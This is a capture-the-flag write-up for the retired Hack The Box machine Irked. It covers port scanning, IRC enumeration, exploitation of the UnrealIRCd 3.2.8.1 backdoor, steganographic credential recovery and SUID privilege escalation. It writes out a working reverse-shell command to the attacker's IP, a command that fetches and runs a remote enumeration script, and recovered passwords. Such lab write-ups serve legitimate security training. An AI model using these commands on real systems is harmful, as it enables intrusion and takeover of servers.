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write-up-irked.md

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Irked

This is the write-up for the box Irked that got retired at the 27th April 2019. My IP address was 10.10.14.14 while I did this.

Let's put this in our hosts file:

10.10.10.117    irked.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/irked.nmap 10.10.10.117
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          51139/udp   status
|   100024  1          51821/tcp6  status
|   100024  1          53889/udp6  status
|_  100024  1          54177/tcp   status
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Full TCP port scan:

nmap -p- 10.10.10.117
Not shown: 65528 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
6697/tcp  open  ircs-u
8067/tcp  open  infi-async
54177/tcp open  unknown
65534/tcp open  unknown

Running default Nmap scripts on the found ports:

nmap -sC -sV -p 6697,8067,54177,65534 10.10.10.117
PORT      STATE SERVICE VERSION
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
54177/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd

Checking HTTP (Port 80)

On the web page is a frustrated emoji image called irked.jpg and the text "IRC is almost working!". Lets search for hidden directories with Gobuster:

gobuster -u http://10.10.10.117 dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

It finds the directory /manual which is the default Apache documentation and nothing else.

Checking IRC (Port 6697 & 8067)

There is an Internet Relay Chat (IRC) service running on the box, so lets connect on the IRC service to get more information:

ncat 10.10.10.117 8067

:irked.htb NOTICE AUTH :*** Looking up your hostname...
:irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
PASS testpass
NICK testuser
USER testuser testclient irked :testuser
:irked.htb 001 testuser :Welcome to the ROXnet IRC Network testuser!testuser@10.10.14.14
:irked.htb 002 testuser :Your host is irked.htb, running version Unreal3.2.8.1
:irked.htb 003 testuser :This server was created Mon May 14 2018 at 13:12:50 EDT
(...)

It shows that it is running Unreal IRC 3.2.8.1 and was created on May 14 2018. Checking if this version has known vulnerabilities:

searchsploit unrealirc
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute

The UnrealIRC Backdoor Command Execution seems to be the way to exploit this box. Arbitrary code can be executed by sending "AB" and a command to the server. This can be tested by listening on incoming ICMP packets and sending a ping to ourselves:

echo "AB; ping -c 1 10.10.14.14" | ncat 10.10.10.117 8067

It pings us once, which means that code execution is possible, so lets get a reverse shell:

echo "AB; bash -c 'bash -i >& /dev/tcp/10.10.14.14/9001 0>&1'" | ncat 10.10.10.117 8067

The listener on my IP and port 9001 starts a reverse shell session as the user ircd.

Privilege Escalation

There is another user called djmardov with a home directory and there is a hidden file /home/djmardov/Documents/.backup which says the following:

Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

The word steg is short for Steganography and the password seems to be the password for a file that has hidden data in it. There was one image file at the beginning on the web page called irked.jpg which could be the file.

Trying to extract hidden data out of irked.jpg with Steghide:

steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss

It extracts pass.txt with a string that looks like a password:

Kab6h+m+bbp2J:HG

Trying to log in with djmardov via SSH:

ssh djmardov@10.10.10.117

The credentials work and privileges got escalated to djmardov.

Privilege Escalation to root

To get an attack surface to get to root, any Linux Enumeration script should be run:

wget 10.10.14.14/LinEnum.sh | bash

After analyzing the output, there is a binary with the SetUID bit set called viewuser, which is not a default binary. When executing, it shows the following output:

This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2020-10-31 13:05 (:0)
djmardov pts/1        2020-10-31 14:18 (10.10.14.14)
sh: 1: /tmp/listusers: not found

It looks like that it is trying to execute /tmp/listusers but this file does not exist. Lets create it, give it execute permissions and try to run own code:

#!/bin/bash

/bin/bash
viewuser

After running viewuser, it also executes /tmp/listusers and starts a shell as root!